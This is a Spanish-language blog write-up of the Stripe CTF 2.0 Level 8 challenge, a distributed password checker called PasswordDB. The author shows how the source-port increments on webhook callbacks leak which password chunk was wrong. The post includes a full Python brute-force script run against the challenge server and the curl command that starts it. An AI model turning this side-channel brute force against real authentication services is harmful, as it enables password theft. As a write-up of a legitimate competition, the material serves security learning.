HINT 2: Running the server locally is probably a good place to start. Anything interesting in the output?
UPDATE: If you push the reset button for Level 8, you will be moved to a different Level 8 machine, and the value of your Flag will change. If you push the reset button on Level 2, you will be bounced to a new Level 2 machine, but the value of your Flag won't change.

Because password theft has become such a rampant problem, a security firm has decided to create PasswordDB, a new and secure way of storing and validating passwords. You've recently learned that the Flag itself is protected in a PasswordDB instance, accesible at https://level08-2.stripe-ctf.com/user-veyrdiujkx/.

PasswordDB exposes a simple JSON API. You just POST a payload of the form {"password": "password-to-check", "webhooks": ["mysite.com:3000", ...]} to PasswordDB, which will respond with a {"success": true}" or {"success": false}" to you and your specified webhook endpoints.


(For example, try running curl https://level08-2.stripe-ctf.com/user-veyrdiujkx/ -d '{"password": "password-to-check", "webhooks": []}'.)


In PasswordDB, the password is never stored in a single location or process, making it the bane of attackers' respective existences. Instead, the password is "chunked" across multiple processes, called "chunk servers". These may live on the same machine as the HTTP-accepting "primary server", or for added security may live on a different machine. PasswordDB comes with built-in security features such as timing attack prevention and protection against using unequitable amounts of CPU time (relative to other PasswordDB instances on the same machine).


As a secure cherry on top, the machine hosting the primary server has very locked down network access. It can only make outbound requests to other stripe-ctf.com servers. As you learned in Level 5, someone forgot to internally firewall off the high ports from the Level 2 server. (It's almost like someone on the inside is helping you — there's an sshd running on the Level 2 server as well.)


To maximize adoption, usability is also a goal of PasswordDB. Hence a launcher script, password_db_launcher, has been created for the express purpose of securing the Flag. It validates that your password looks like a valid Flag and automatically spins up 4 chunk servers and a primary server.


You can obtain the code for PasswordDB from git clone https://level08-2.stripe-ctf.com/user-veyrdiujkx/level08-code, or simply read the source below.


No fue rápido ver cuál era el objetivo, en este caso con el código que nos habían dado monté en local el servicio para hacer las pruebas. Cuando se realizaba una petición:
curl http://127.0.0.1 -d '{"password": "123456789012", "webhooks": []}'

se obtenía {"success": false} o {"success": true}. Añadiendo un webhook se recibía el resultado en forma de petición POST. Analizando el funcionamiento del servicio se extrae:
  1. Un servidor principal maneja una contraseña numérica de 12 dígitos que es divida en 4 trozos. Estos trozos son gestionados por servicios individuales.
  2. Cuando se envía una petición al servidor principal, este consulta, por orden y uno por uno, a los servicios individuales. Si uno de los servicios responde al servidor principal que no es correcto, este no realiza más peticiones al resto de servicios individuales y contesta con false.
Nos interesaría atacar a los servicios individuales con una fuerza bruta a 3 dígitos puesto que es más rápido que atacar al servidor con fuerza bruta de 12 dígitos, pero no se tiene acceso a estos servicios, por lo que se descarta. En las pistas iniciales indicaban que no se trataba de un ataque basado en el tiempo (timming attack) por lo que se desecha la opción.

Decidí acudir al IRC que estaba montado para el CTF para ver que comentaba el resto de participantes sobre la prueba, y ahí obtuve una pista: tenía que revisar toda la conexión. Por lo que hice un script que mostrara los datos de la conexión: host y puerto origen, el resto de datos host-puerto destino y el mensaje ya lo conocía. Cuando lancé el script en local, pude extraer el patrón:


python ports.py 
('127.0.0.1', 38251)
('127.0.0.1', 38254)
('127.0.0.1', 38257)
('127.0.0.1', 38260)
('127.0.0.1', 38263)
('127.0.0.1', 38266)
('127.0.0.1', 38269)

Enviando diferentes contraseñas se deduce que si el primer trozo de la contraseña es erróneo, hay un salto de 3 en el número de puerto, si el primer trozo es correcto pero el segundo no, hay un salto de 4 en el número de puerto:


('127.0.0.1', 42120)
('127.0.0.1', 42124)
('127.0.0.1', 42128)
('127.0.0.1', 42132)
('127.0.0.1', 42136)
('127.0.0.1', 42140)

Así hasta que obtenemos los tres primeros trozos, para sacar el cuarto trozo y por lo tanto la contraseña, se hizo una fuerza bruta al servidor principal.
En local el patrón era bastante regular por lo que se daba la diferencia de +3, +4 o +5 en el número de puerto; sin embargo, cuando se realizó contra el servidor del nivel 8 debido a la carga de este se recibían diferencias mayores a pesar de que la contraseña fuera incorrecta por lo que en esos casos había que repetir la consulta para esa contraseña.

El código para la consulta del primer trozo es:
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from time import sleep
import string
import httplib
import os


srv8 = "level08-2.stripe-ctf.com"
srv2 = "level02-2.stripe-ctf.com"
cont = 0 # contador de posicion
rangoVal= range(999) # rango de valores posibles 
lastPort = 0 # ultimo puerto
class Manejador(BaseHTTPRequestHandler):
        def do_POST(self):
            global srv2, cont, lastPort, rangoVal
            self.send_response(200)
            self.wfile.write("ook");

            print str(rangoVal[cont]).zfill(3) + "-000-000-000",
            print "Diferencia: " + str(self.client_address[1] - lastPort),
            if self.client_address[1] - lastPort == 3:
                        print "Password incorrecta"
                        rangoVal.remove(rangoVal[cont])
            elif len(rangoVal) == 1:
                        print "Password: " + str(rangoVal[0])
                        os._exit(1)
            else:
                        print "Diferencia erronea"

            lastPort = self.client_address[1]
            print rangoVal
            cont = cont + 1
            if cont >= len(rangoVal):
                cont = 0
            c = httplib.HTTPConnection(srv8, 443)
            passwd = str(rangoVal[cont]).zfill(3) + "000000000"
            print "Password?: " + passwd
            c.request("POST", "/user-veyrdiujkx", '{"password": "' + passwd + '", "webhooks": ["'+srv2+':43278"] }')
            sleep(0.2)
            c.close()

def main():
        try:
            srv = HTTPServer(('0.0.0.0', 43278), Manejador)
            print "WebHook:  :43278"
            srv.serve_forever()
        except KeyboardInterrupt:
            srv.socket.close()

if __name__ == '__main__':
        main()

En la descripción nos indicaban que se tenía acceso por ssh al servidor del nivel 2, por lo que se utilizó para ejecutar el código. El script queda esperando a una primera petición, por lo que mediante curl se realizó la petición:


curl https://level08-2.stripe-ctf.com/user-veyrdiujkx/ -d '{"password": "000000000000", "webhooks": ["http://level02-2.stripe-ctf.com:43278"]}'

Hay soluciones mucho más eficientes, pero dado que tenía poco tiempo busqué la forma más rápida de codificar algo que funcionara y me diese la solución. De hecho hubo hasta un nivel extra no-oficial para ver quien sacaba la password más rápido con su script.

Si os interesan otras soluciones al nivel 8, en la siguiente web hay un listado:
https://docs.google.com/spreadsheet/ccc?key=0AqPyYgZlFopxdHBYSjJyY1V3dFdUN1hvMVB5cUU0Nnc#gid=0

 
El CTF ha sido divertido, ha excepción del nivel 8 las pruebas eran fáciles de ver qué es lo que teníamos que hacer para conseguir la contraseña. La variedad de lenguajes utilizados(php ruby python) también le ha dado un toque al juego.
Para terminar, dar las gracias a Stripe por montar el reto y por la camiseta para los ganadores!

Hay bastantes y muy buenas soluciones al CTF, con otras formas de resolverlo:

http://blog.ioactive.com/2012/08/stripe-ctf-20-write-up.html
http://blog.spiderlabs.com/2012/08/stripe-ctf-walkthrough.html
http://abiusx.com/stripe-ctf-2-web-challenges/
http://blog.ericrafaloff.com/2012/08/24/my-stripe-ctf-play-by-play/
http://jasiek.posterous.com/stripe-ctf-20-walkthrough
http://me.veekun.com/blog/2012/08/29/stripe-ctf-2-dot-0/
http://sec.omar.li/2012/08/stripe-ctf-writeup.html
http://blog.feabhas.com/2012/08/capture-the-flag-2-0-the-after-party/
http://blog.ontoillogical.com/blog/2012/08/30/my-solutions-to-the-stripe-ctf-web-app-edition/
http://my.opera.com/devloop/blog/2012/08/30/ctf-stripe-2012-mes-solutions
http://blog.matthewdfuller.com/2012/08/stripe-capture-flag-level-by-level.html
https://github.com/lukegb/Stripe-CTF-2.0/
http://labs.excilys.com/2012/08/29/stripe-capture-the-flag-web-edition/
http://unlearningsecurity.blogspot.com.es/2012/09/stripe-capture-flag-web-edition.html
http://unlearningsecurity.blogspot.com.es/2012/09/stripe-capture-flag-web-edition_4.html
http://unlearningsecurity.blogspot.com.es/2012/09/stripe-capture-flag-web-edition_5.html


Destacar los siguientes enlaces por su forma de resolver el nivel 5 y 6, respectivamente:

http://sec.omar.li/2012/08/stripe-ctf-writeup.html
http://www.codelord.net/2012/08/30/rack-params-magic-even-got-stripe-ctf-creators/







Fuente